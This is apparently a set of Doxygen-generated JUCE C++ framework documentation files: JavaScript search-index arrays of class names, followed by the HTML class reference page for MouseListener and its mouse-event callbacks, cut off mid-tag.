['display',['Display',['../structDesktop_1_1Displays_1_1Display.html',1,'Desktop::Displays']]], ['displays',['Displays',['../classDesktop_1_1Displays.html',1,'Desktop']]], ['documentwindow',['DocumentWindow',['../classDocumentWindow.html',1,'']]], ['draganddropcontainer',['DragAndDropContainer',['../classDragAndDropContainer.html',1,'']]], ['draganddroptarget',['DragAndDropTarget',['../classDragAndDropTarget.html',1,'']]], ['draggable3dorientation',['Draggable3DOrientation',['../classDraggable3DOrientation.html',1,'']]], ['draginfo',['DragInfo',['../structComponentPeer_1_1DragInfo.html',1,'ComponentPeer']]], ['drawable',['Drawable',['../classDrawable.html',1,'']]], ['drawablebutton',['DrawableButton',['../classDrawableButton.html',1,'']]], ['drawablecomposite',['DrawableComposite',['../classDrawableComposite.html',1,'']]], ['drawableimage',['DrawableImage',['../classDrawableImage.html',1,'']]], ['drawablepath',['DrawablePath',['../classDrawablePath.html',1,'']]], ['drawablerectangle',['DrawableRectangle',['../classDrawableRectangle.html',1,'']]], ['drawableshape',['DrawableShape',['../classDrawableShape.html',1,'']]], ['drawabletext',['DrawableText',['../classDrawableText.html',1,'']]], ['dropshadow',['DropShadow',['../structDropShadow.html',1,'']]], ['dropshadoweffect',['DropShadowEffect',['../classDropShadowEffect.html',1,'']]], ['dropshadower',['DropShadower',['../classDropShadower.html',1,'']]], ['dummybailoutchecker',['DummyBailOutChecker',['../classListenerList_1_1DummyBailOutChecker.html',1,'ListenerList']]], ['dummycriticalsection',['DummyCriticalSection',['../classDummyCriticalSection.html',1,'']]], ['dynamiclibrary',['DynamicLibrary',['../classDynamicLibrary.html',1,'']]], ['dynamicobject',['DynamicObject',['../classDynamicObject.html',1,'']]] ]; <file_sep>var searchData= [ ['value',['Value',['../classValue.html',1,'']]], ['valuesource',['ValueSource',['../classValue_1_1ValueSource.html',1,'Value']]], ['valuetree',['ValueTree',['../classValueTree.html',1,'']]], ['valuetreesynchroniser',['ValueTreeSynchroniser',['../classValueTreeSynchroniser.html',1,'']]], ['valuetreewrapper',['ValueTreeWrapper',['../classMarkerList_1_1ValueTreeWrapper.html',1,'MarkerList']]], ['valuetreewrapper',['ValueTreeWrapper',['../classDrawableComposite_1_1ValueTreeWrapper.html',1,'DrawableComposite']]], ['valuetreewrapper',['ValueTreeWrapper',['../classDrawableText_1_1ValueTreeWrapper.html',1,'DrawableText']]], ['valuetreewrapper',['ValueTreeWrapper',['../classDrawablePath_1_1ValueTreeWrapper.html',1,'DrawablePath']]], ['valuetreewrapper',['ValueTreeWrapper',['../classDrawableRectangle_1_1ValueTreeWrapper.html',1,'DrawableRectangle']]], ['valuetreewrapper',['ValueTreeWrapper',['../classDrawableImage_1_1ValueTreeWrapper.html',1,'DrawableImage']]], ['valuetreewrapperbase',['ValueTreeWrapperBase',['../classDrawable_1_1ValueTreeWrapperBase.html',1,'Drawable']]], ['var',['var',['../classvar.html',1,'']]], ['vector3d',['Vector3D',['../classVector3D.html',1,'']]], ['vector3d_3c_20float_20_3e',['Vector3D&lt; float &gt;',['../classVector3D.html',1,'']]], ['viewport',['Viewport',['../classViewport.html',1,'']]], ['visitor',['Visitor',['../classExpression_1_1Scope_1_1Visitor.html',1,'Expression::Scope']]], ['vst3bufferexchange',['VST3BufferExchange',['../structVST3BufferExchange.html',1,'']]], ['vst3bufferexchange_3c_20double_20_3e',['VST3BufferExchange&lt; double &gt;',['../structVST3BufferExchange.html',1,'']]], ['vst3bufferexchange_3c_20float_20_3e',['VST3BufferExchange&lt; float &gt;',['../structVST3BufferExchange.html',1,'']]], ['vst3floatanddoublebusmapcomposite',['VST3FloatAndDoubleBusMapComposite',['../structVST3FloatAndDoubleBusMapComposite.html',1,'']]], ['vst3floatanddoublebusmapcompositehelper',['VST3FloatAndDoubleBusMapCompositeHelper',['../structVST3FloatAndDoubleBusMapCompositeHelper.html',1,'']]], ['vst3floatanddoublebusmapcompositehelper_3c_20double_20_3e',['VST3FloatAndDoubleBusMapCompositeHelper&lt; double &gt;',['../structVST3FloatAndDoubleBusMapCompositeHelper_3_01double_01_4.html',1,'']]], ['vst3floatanddoublebusmapcompositehelper_3c_20float_20_3e',['VST3FloatAndDoubleBusMapCompositeHelper&lt; float &gt;',['../structVST3FloatAndDoubleBusMapCompositeHelper_3_01float_01_4.html',1,'']]], ['vstpluginformat',['VSTPluginFormat',['../classVSTPluginFormat.html',1,'']]] ]; <file_sep>var searchData= [ ['uiviewcomponent',['UIViewComponent',['../classUIViewComponent.html',1,'']]], ['undoableaction',['UndoableAction',['../classUndoableAction.html',1,'']]], ['undomanager',['UndoManager',['../classUndoManager.html',1,'']]], ['uniform',['Uniform',['../structOpenGLShaderProgram_1_1Uniform.html',1,'OpenGLShaderProgram']]], ['unittest',['UnitTest',['../classUnitTest.html',1,'']]], ['unittestrunner',['UnitTestRunner',['../classUnitTestRunner.html',1,'']]], ['unlockresult',['UnlockResult',['../structOnlineUnlockStatus_1_1UnlockResult.html',1,'OnlineUnlockStatus']]], ['url',['URL',['../classURL.html',1,'']]], ['uuid',['Uuid',['../classUuid.html',1,'']]] ]; <file_sep>var searchData= [ ['bubbleplacement',['BubblePlacement',['../classBubbleComponent.html#aba96d481d723fd2549f497ccd7ed41a3',1,'BubbleComponent']]], ['buttonstate',['ButtonState',['../classButton.html#ad8312db93093c21df8b1d2be74ae1957',1,'Button']]], ['buttonstyle',['ButtonStyle',['../classDrawableButton.html#a7da653337d7329405ef9865cc35f612e',1,'DrawableButton']]], ['buttontype',['ButtonType',['../classAppleRemoteDevice.html#a63ccce128a48e63972e2d71a8de5f8d0',1,'AppleRemoteDevice']]] ]; <file_sep><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/> <meta http-equiv="X-UA-Compatible" content="IE=9"/> <title>JUCE: MouseListener Class Reference</title> <link href="tabs.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="jquery.js"></script> <script type="text/javascript" src="dynsections.js"></script> <link href="search/search.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="search/search.js"></script> <script type="text/javascript"> $(document).ready(function() { searchBox.OnSelectItem(0); }); </script> <link href="doxygen.css" rel="stylesheet" type="text/css" /> </head> <body> <div id="top"><!-- do not remove this div, it is closed by doxygen! --> <div id="titlearea"> <table cellspacing="0" cellpadding="0"> <tbody> <tr style="height: 56px;"> <td style="padding-left: 0.5em;"> <div id="projectname">JUCE </div> </td> </tr> </tbody> </table> </div> <!-- end header part --> <!-- Generated by Doxygen 1.8.2 --> <script type="text/javascript"> var searchBox = new SearchBox("searchBox", "search",false,'Search'); </script> <div id="navrow1" class="tabs"> <ul class="tablist"> <li><a href="index.html"><span>Main&#160;Page</span></a></li> <li class="current"><a href="annotated.html"><span>Classes</span></a></li> <li><a href="files.html"><span>Files</span></a></li> <li> <div id="MSearchBox" class="MSearchBoxInactive"> <span class="left"> <img id="MSearchSelect" src="search/mag_sel.png" onmouseover="return searchBox.OnSearchSelectShow()" onmouseout="return searchBox.OnSearchSelectHide()" alt=""/> <input type="text" id="MSearchField" value="Search" accesskey="S" onfocus="searchBox.OnSearchFieldFocus(true)" onblur="searchBox.OnSearchFieldFocus(false)" onkeyup="searchBox.OnSearchFieldChange(event)"/> </span><span class="right"> <a id="MSearchClose" href="javascript:searchBox.CloseResultsWindow()"><img id="MSearchCloseImg" border="0" src="search/close.png" alt=""/></a> </span> </div> </li> </ul> </div> <div id="navrow2" class="tabs2"> <ul class="tablist"> <li><a href="annotated.html"><span>Class&#160;List</span></a></li> <li><a href="classes.html"><span>Class&#160;Index</span></a></li> <li><a href="hierarchy.html"><span>Class&#160;Hierarchy</span></a></li> <li><a href="functions.html"><span>Class&#160;Members</span></a></li> </ul> </div> <!-- window showing the filter options --> <div id="MSearchSelectWindow" onmouseover="return searchBox.OnSearchSelectShow()" onmouseout="return searchBox.OnSearchSelectHide()" onkeydown="return searchBox.OnSearchSelectKey(event)"> <a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(0)"><span class="SelectionMark">&#160;</span>All</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(1)"><span class="SelectionMark">&#160;</span>Classes</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(2)"><span class="SelectionMark">&#160;</span>Namespaces</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(3)"><span class="SelectionMark">&#160;</span>Files</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(4)"><span class="SelectionMark">&#160;</span>Functions</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(5)"><span class="SelectionMark">&#160;</span>Variables</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(6)"><span class="SelectionMark">&#160;</span>Typedefs</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(7)"><span class="SelectionMark">&#160;</span>Enumerations</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(8)"><span class="SelectionMark">&#160;</span>Enumerator</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(9)"><span class="SelectionMark">&#160;</span>Macros</a></div> <!-- iframe showing the search results (closed by default) --> <div id="MSearchResultsWindow"> <iframe src="javascript:void(0)" frameborder="0" name="MSearchResults" id="MSearchResults"> </iframe> </div> </div><!-- top --> <div class="header"> <div class="summary"> <a href="#pub-methods">Public Member Functions</a> &#124; <a href="classMouseListener-members.html">List of all members</a> </div> <div class="headertitle"> <div class="title">MouseListener Class Reference</div> </div> </div><!--header--> <div class="contents"> <p>A <a class="el" href="classMouseListener.html" title="A MouseListener can be registered with a component to receive callbacks about mouse events that happe...">MouseListener</a> can be registered with a component to receive callbacks about mouse events that happen to that component. <a href="classMouseListener.html#details">More...</a></p> <p>Inherited by <a class="el" href="classComponent.html">Component</a>, and <a class="el" href="classMouseInactivityDetector.html">MouseInactivityDetector</a><code> [private]</code>.</p> <table class="memberdecls"> <tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="pub-methods"></a> Public Member Functions</h2></td></tr> <tr class="memitem:a9d4fc9354c8e4109c9b8f0d4b50dd440"><td class="memItemLeft" align="right" valign="top">virtual&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classMouseListener.html#a9d4fc9354c8e4109c9b8f0d4b50dd440">~MouseListener</a> ()</td></tr> <tr class="memdesc:a9d4fc9354c8e4109c9b8f0d4b50dd440"><td class="mdescLeft">&#160;</td><td class="mdescRight">Destructor. <a href="#a9d4fc9354c8e4109c9b8f0d4b50dd440"></a><br/></td></tr> <tr class="separator:a9d4fc9354c8e4109c9b8f0d4b50dd440"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a34327ec666304f0660d818db8281d2fd"><td class="memItemLeft" align="right" valign="top">virtual void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classMouseListener.html#a34327ec666304f0660d818db8281d2fd">mouseMove</a> (const <a class="el" href="classMouseEvent.html">MouseEvent</a> &amp;event)</td></tr> <tr class="memdesc:a34327ec666304f0660d818db8281d2fd"><td class="mdescLeft">&#160;</td><td class="mdescRight">Called when the mouse moves inside a component. <a href="#a34327ec666304f0660d818db8281d2fd"></a><br/></td></tr> <tr class="separator:a34327ec666304f0660d818db8281d2fd"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a479dc784712648193bdc236b2c34e8bd"><td class="memItemLeft" align="right" valign="top">virtual void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classMouseListener.html#a479dc784712648193bdc236b2c34e8bd">mouseEnter</a> (const <a class="el" href="classMouseEvent.html">MouseEvent</a> &amp;event)</td></tr> <tr class="memdesc:a479dc784712648193bdc236b2c34e8bd"><td class="mdescLeft">&#160;</td><td class="mdescRight">Called when the mouse first enters a component. <a href="#a479dc784712648193bdc236b2c34e8bd"></a><br/></td></tr> <tr class="separator:a479dc784712648193bdc236b2c34e8bd"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ac35ed155e9255cebdc5c81231d963aec"><td class="memItemLeft" align="right" valign="top">virtual void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classMouseListener.html#ac35ed155e9255cebdc5c81231d963aec">mouseExit</a> (const <a class="el" href="classMouseEvent.html">MouseEvent</a> &amp;event)</td></tr> <tr class="memdesc:ac35ed155e9255cebdc5c81231d963aec"><td class="mdescLeft">&#160;</td><td class="mdescRight">Called when the mouse moves out of a component. <a href="#ac35ed155e9255cebdc5c81231d963aec"></a><br/></td></tr> <tr class="separator:ac35ed155e9255cebdc5c81231d963aec"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:afebc11cdb56f49eeabc9f8b81814f9ce"><td class="memItemLeft" align="right" valign="top">virtual void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classMouseListener.html#afebc11cdb56f49eeabc9f8b81814f9ce">mouseDown</a> (const <a class="el" href="classMouseEvent.html">MouseEvent</a> &amp;event)</td></tr> <tr class="memdesc:afebc11cdb56f49eeabc9f8b81814f9ce"><td class="mdescLeft">&#160;</td><td class="mdescRight">Called when a mouse button is pressed. <a href="#afebc11cdb56f49eeabc9f8b81814f9ce"></a><br/></td></tr> <tr class="separator:afebc11cdb56f49eeabc9f8b81814f9ce"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a434a85e97e248920ae699a2f030bfa70"><td class="memItemLeft" align="right" valign="top">virtual void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classMouseListener.html#a434a85e97e248920ae699a2f030bfa70">mouseDrag</a> (const <a class="el" href="classMouseEvent.html">MouseEvent</a> &amp;event)</td></tr> <tr class="memdesc:a434a85e97e248920ae699a2f030bfa70"><td class="mdescLeft">&#160;</td><td class="mdescRight">Called when the mouse is moved while a button is held down. <a href="#a434a85e97e248920ae699a2f030bfa70"></a><br/></td></tr> <tr class="separator:a434a85e97e248920ae699a2f030bfa70"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ac5eb93de1cfd68a35473071df3e2e8cc"><td class="memItemLeft" align="right" valign="top">virtual void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classMouseListener.html#ac5eb93de1cfd68a35473071df3e2e8cc">mouseUp</a> (const <a class="el" href="classMouseEvent.html">MouseEvent</a> &amp;event)</td></tr> <tr class="memdesc:ac5eb93de1cfd68a35473071df3e2e8cc"><td class="mdescLeft">&#160;</td><td class="mdescRight">Called when a mouse button is released. <a href="#ac5eb93de1cfd68a35473071df3e2e8cc"></a><br/></td></tr> <tr class="separator:ac5eb93de1cfd68a35473071df3e2e8cc"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a7ef5d0993f3036233f458fc88f71462c"><td class="memItemLeft" align="right" valign="top">virtual void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classMouseListener.html#a7ef5d0993f3036233f458fc88f71462c">mouseDoubleClick</a> (const <a class="el" href="classMouseEvent.html">MouseEvent</a> &amp;event)</td></tr> <tr class="memdesc:a7ef5d0993f3036233f458fc88f71462c"><td class="mdescLeft">&#160;</td><td class="mdescRight">Called when a mouse button has been double-clicked on a component. <a href="#a7ef5d0993f3036233f458fc88f71462c"></a><br/></td></tr> <tr class="separator:a7ef5d0993f3036233f458fc88f71462c"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:afb5eae301f38f79acb6c13dcb8cb7532"><td class="memItemLeft" align="right" valign="top">virtual void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classMouseListener.html#afb5eae301f38f79acb6c13dcb8cb7532">mouseWheelMove</a> (const <a class="el" href="classMouseEvent.html">MouseEvent</a> &amp;event, const <a class="el" href="structMouseWheelDetails.html">MouseWheelDetails</a> &amp;wheel)</td></tr> <tr class="memdesc:afb5eae301f38f79acb6c13dcb8cb7532"><td class="mdescLeft">&#160;</td><td class="mdescRight">Called when the mouse-wheel is moved. <a href="#afb5eae301f38f79acb6c13dcb8cb7532"></a><br/></td></tr> <tr class="separator:afb5eae301f38f79acb6c13dcb8cb7532"><td class="memSeparator" colspan="2">&#160;</td></tr> </table> <a name="details" id="details"></a><h2 class="groupheader">Detailed Description</h2> <div class="textblock"><p>A <a class="el" href="classMouseListener.html" title="A MouseListener can be registered with a component to receive callbacks about mouse events that happe...">MouseListener</a> can be registered with a component to receive callbacks about mouse events that happen to that component. </p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classComponent.html#ae45db6bb7d7826eb7e936c21fec105ce" title="Registers a listener to be told when mouse events occur in this component.">Component::addMouseListener</a>, <a class="el" href="classComponent.html#a423c89ca5c8622712202c30cb7a5a69c" title="Deregisters a mouse listener.">Component::removeMouseListener</a> </dd></dl> </div><h2 class="groupheader">Constructor &amp; Destructor Documentation</h2> <a class="anchor" id="a9d4fc9354c8e4109c9b8f0d4b50dd440"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">virtual MouseListener::~MouseListener </td> <td>(</td> <td class="paramname"></td><td>)</td> <td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">virtual</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Destructor. </p> </div> </div> <h2 class="groupheader">Member Function Documentation</h2> <a class="anchor" id="a34327ec666304f0660d818db8281d2fd"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">virtual void MouseListener::mouseMove </td> <td>(</td> <td class="paramtype">const <a class="el" href="classMouseEvent.html">MouseEvent</a> &amp;&#160;</td> <td class="paramname"><em>event</em></td><td>)</td> <td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">virtual</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Called when the mouse moves inside a component. </p> <p>If the mouse button isn't pressed and the mouse moves over a component, this will be called to let the component react to this.</p> <p>A component will always get a mouseEnter callback before a mouseMove.</p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">event</td><td>details about the position and status of the mouse event, including the source component in which it occurred </td></tr> </table> </dd> </dl> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classMouseListener.html#a479dc784712648193bdc236b2c34e8bd" title="Called when the mouse first enters a component.">mouseEnter</a>, <a class="el" href="classMouseListener.html#ac35ed155e9255cebdc5c81231d963aec" title="Called when the mouse moves out of a component.">mouseExit</a>, <a class="el" href="classMouseListener.html#a434a85e97e248920ae699a2f030bfa70" title="Called when the mouse is moved while a button is held down.">mouseDrag</a>, contains </dd></dl> <p>Reimplemented in <a class="el" href="classComponent.html#ad2cfbadc42d5c2124f67ae181de1234e">Component</a>, <a class="el" href="classTableHeaderComponent.html#a358870898bb0cbd599e4838e51db31ed">TableHeaderComponent</a>, <a class="el" href="classMidiKeyboardComponent.html#ae5e206eec4d5c116d4b8956a29416853">MidiKeyboardComponent</a>, <a class="el" href="classResizableBorderComponent.html#ab7aab4427bdd421c99af9f1bdea571ca">ResizableBorderComponent</a>, and <a class="el" href="classMenuBarComponent.html#a0a98e1fe26f69de791e0ffce94297619">MenuBarComponent</a>.</p> </div> </div> <a class="anchor" id="a479dc784712648193bdc236b2c34e8bd"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">virtual void MouseListener::mouseEnter </td> <td>(</td> <td class="paramtype">const <a class="el" href="classMouseEvent.html">MouseEvent</a> &amp;&#160;</td> <td class="paramname"><em>event</em></td><td>)</td> <td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">virtual</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Called when the mouse first enters a component. </p> <p>If the mouse button isn't pressed and the mouse moves into a component, this will be called to let the component react to this.</p> <p>When the mouse button is pressed and held down while being moved in or out of a component, no mouseEnter or mouseExit callbacks are made - only mouseDrag messages are sent to the component that the mouse was originally clicked on, until the button is released.</p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">event</td><td>details about the position and status of the mouse event, including the source component in which it occurred </td></tr> </table> </dd> </dl> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classMouseListener.html#ac35ed155e9255cebdc5c81231d963aec" title="Called when the mouse moves out of a component.">mouseExit</a>, <a class="el" href="classMouseListener.html#a434a85e97e248920ae699a2f030bfa70" title="Called when the mouse is moved while a button is held down.">mouseDrag</a>, <a class="el" href="classMouseListener.html#a34327ec666304f0660d818db8281d2fd" title="Called when the mouse moves inside a component.">mouseMove</a>, contains </dd></dl> <p>Reimplemented in <a class="el" href="classComponent.html#a525b16845ffacc71c7c37a72f68feccc">Component</a>, <a class="el" href="classButton.html#a32dfa1120a4ad81620ed4a21757e374a">Button</a>, <a class="el" href="classTableHeaderComponent.html#ab981915bf8abab35ec95a8c285187f66">TableHeaderComponent</a>, <a class="el" href="classMidiKeyboardComponent.html#af61001812475a88a62637f7b81242718">MidiKeyboardComponent</a>, <a class="el" href="classResizableBorderComponent.html#ad8b599c07f7cba29e1cb2b0f5b4902a2">ResizableBorderComponent</a>, and <a class="el" href="classMenuBarComponent.html#a40471464d733599a5715e507320b72ad">MenuBarComponent</a>.</p> </div> </div> <a class="anchor" id="ac35ed155e9255cebdc5c81231d963aec"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">virtual void MouseListener::mouseExit </td> <td>(</td> <td class="paramtype">const <a class="el" href="classMouseEvent.html">MouseEvent</a> &amp;&#160;</td> <td class="paramname"><em>event</em></td><td>)</td> <td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">virtual</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Called when the mouse moves out of a component. </p> <p>This will be called when the mouse moves off the edge of this component.</p> <p>If the mouse button was pressed, and it was then dragged off the edge of the component and released, then this callback will happen when the button is released, after the mouseUp callback.</p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">event</td><td>details about the position and status of the mouse event, including the source component in which it occurred </td></tr> </table> </dd> </dl> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classMouseListener.html#a479dc784712648193bdc236b2c34e8bd" title="Called when the mouse first enters a component.">mouseEnter</a>, <a class="el" href="classMouseListener.html#a434a85e97e248920ae699a2f030bfa70" title="Called when the mouse is moved while a button is held down.">mouseDrag</a>, <a class="el" href="classMouseListener.html#a34327ec666304f0660d818db8281d2fd" title="Called when the mouse moves inside a component.">mouseMove</a>, contains </dd></dl> <p>Reimplemented in <a class="el" href="classComponent.html#a16a0c88e82e5b71ed8cc7c7b3de37cb2">Component</a>, <a class="el" href="classButton.html#a5f8a73f5a0c1fba9327ff96a9fec1476">Button</a>, <a class="el" href="classTableHeaderComponent.html#a90c64b020bf0d1d4f1330ca44b42766e">TableHeaderComponent</a>, <a class="el" href="classMidiKeyboardComponent.html#a7126629da11c5aaea1752fbc072cb9c5">MidiKeyboardComponent</a>, and <a class="el" href="classMenuBarComponent.html#ab5f2450d26d8d94988f65eee8933239c">MenuBarComponent</a>.</p> </div> </div> <a class="anchor" id="afebc11cdb56f49eeabc9f8b81814f9ce"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">virtual void MouseListener::mouseDown </td> <td>(</td> <td class="paramtype">const <a class="el" href="classMouseEvent.html">MouseEvent</a> &amp;&#160;</td> <td class="paramname"><em>event</em></td><td>)</td> <td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">virtual</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Called when a mouse button is pressed. </p> <p>The <a class="el" href="classMouseEvent.html" title="Contains position and status information about a mouse event.">MouseEvent</a> object passed in contains lots of methods for finding out which button was pressed, as well as which modifier keys (e.g. shift, ctrl) were held down at the time.</p> <p>Once a button is held down, the mouseDrag method will be called when the mouse moves, until the button is released.</p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">event</td><td>details about the position and status of the mouse event, including the source component in which it occurred </td></tr> </table> </dd> </dl> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classMouseListener.html#ac5eb93de1cfd68a35473071df3e2e8cc" title="Called when a mouse button is released.">mouseUp</a>, <a class="el" href="classMouseListener.html#a434a85e97e248920ae699a2f030bfa70" title="Called when the mouse is moved while a button is held down.">mouseDrag</a>, <a class="el" href="classMouseListener.html#a7ef5d0993f3036233f458fc88f71462c" title="Called when a mouse button has been double-clicked on a component.">mouseDoubleClick</a>, contains </dd></dl> <p>Reimplemented in <a class="el" href="classComponent.html#a8504490979c2b4a6fdf02471b03a78f6">Component</a>, <a class="el" href="classSlider.html#a66f2c67d6de570fa0d123ae2b9b394f7">Slider</a>, <a class="el" href="classTextEditor.html#ab4b237febe69d1883696ac0abbde67ac">TextEditor</a>, <a class="el" href="classAlertWindow.html#a0aef30be23c4018bfc8e11407d11aaa8">AlertWindow</a>, <a class="el" href="classButton.html#af08726aab8086f766f098a61f47148bd">Button</a>, <a class="el" href="classTableHeaderComponent.html#a32469da187cc0be3cea930016db9798d">TableHeaderComponent</a>, <a class="el" href="classComboBox.html#a8294a54c115bfbde18a66cdd3d3f6ec8">ComboBox</a>, <a class="el" href="classScrollBar.html#a7f11688cde2eeae737779e1e44fb2b98">ScrollBar</a>, <a class="el" href="classResizableWindow.html#a061e907019fb970e205063572e3cf933">ResizableWindow</a>, <a class="el" href="classCodeEditorComponent.html#ac02bce10d167e40f84434c61c167fffe">CodeEditorComponent</a>, <a class="el" href="classToolbar.html#a1a491913b696ccdfb8ae1ed31c351dcc">Toolbar</a>, <a class="el" href="classMidiKeyboardComponent.html#a359f60ca24f34735023808b115b8106c">MidiKeyboardComponent</a>, <a class="el" href="classResizableBorderComponent.html#aab4acffe6cda1852510894fd6b78c946">ResizableBorderComponent</a>, <a class="el" href="classStretchableLayoutResizerBar.html#ae8b6cbc6c5759c668c229b2cc80bf9c0">StretchableLayoutResizerBar</a>, <a class="el" href="classResizableEdgeComponent.html#ad76c21bd1c68f9128e715fd96e15c101">ResizableEdgeComponent</a>, <a class="el" href="classMenuBarComponent.html#a3488abce70d4f83813a623957a0158cb">MenuBarComponent</a>, and <a class="el" href="classResizableCornerComponent.html#a6f614b5db33224a9b338bcb2dca0562f">ResizableCornerComponent</a>.</p> </div> </div> <a class="anchor" id="a434a85e97e248920ae699a2f030bfa70"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">virtual void MouseListener::mouseDrag </td> <td>(</td> <td class="paramtype">const <a class="el" href="classMouseEvent.html">MouseEvent</a> &amp;&#160;</td> <td class="paramname"><em>event</em></td><td>)</td> <td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">virtual</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Called when the mouse is moved while a button is held down. </p> <p>When a mouse button is pressed inside a component, that component receives mouseDrag callbacks each time the mouse moves, even if the mouse strays outside the component's bounds.</p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">event</td><td>details about the position and status of the mouse event, including the source component in which it occurred </td></tr> </table> </dd> </dl> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classMouseListener.html#afebc11cdb56f49eeabc9f8b81814f9ce" title="Called when a mouse button is pressed.">mouseDown</a>, <a class="el" href="classMouseListener.html#ac5eb93de1cfd68a35473071df3e2e8cc" title="Called when a mouse button is released.">mouseUp</a>, <a class="el" href="classMouseListener.html#a34327ec666304f0660d818db8281d2fd" title="Called when the mouse moves inside a component.">mouseMove</a>, contains, setDragRepeatInterval </dd></dl> <p>Reimplemented in <a class="el" href="classComponent.html#a32ebd26be9c9bc56dd942071227d799d">Component</a>, <a class="el" href="classSlider.html#a6e117b6ba93f9a1954c52be4b4dfc873">Slider</a>, <a class="el" href="classTextEditor.html#a909826b0a96f31a75731ce2743d83342">TextEditor</a>, <a class="el" href="classAlertWindow.html#a16da21b6606246912135fd2e7cbc0bd1">AlertWindow</a>, <a class="el" href="classButton.html#ae18a78575c054ea19f0fa962021bacd6">Button</a>, <a class="el" href="classTableHeaderComponent.html#a35c899dfec1e378e805b319ce6dedae4">TableHeaderComponent</a>, <a class="el" href="classComboBox.html#ad21a09e0f78a342b9b1ffab48be0f6c8">ComboBox</a>, <a class="el" href="classScrollBar.html#acf0979e09f19392a4b453abcd9295c0d">ScrollBar</a>, <a class="el" href="classResizableWindow.html#a88f1ec87e42f7bea6ba4e7d8dd68737e">ResizableWindow</a>, <a class="el" href="classCodeEditorComponent.html#a1f04e20f252124cf5095b25b3f3b69ec">CodeEditorComponent</a>, <a class="el" href="classMidiKeyboardComponent.html#a19729bfda70c97a99a380792e1bfcb68">MidiKeyboardComponent</a>, <a class="el" href="classResizableBorderComponent.html#a031919ae342f15b5bee1ece8c3c30f0b">ResizableBorderComponent</a>, <a class="el" href="classStretchableLayoutResizerBar.html#a808feec86fa98f0c439aa828adcadee8">StretchableLayoutResizerBar</a>, <a class="el" href="classResizableEdgeComponent.html#ab9673747db9803dec792117bdbb997ee">ResizableEdgeComponent</a>, <a class="el" href="classMenuBarComponent.html#a8969603aeb5dbb880a1a85ebe084e26b">MenuBarComponent</a>, and <a class="el" 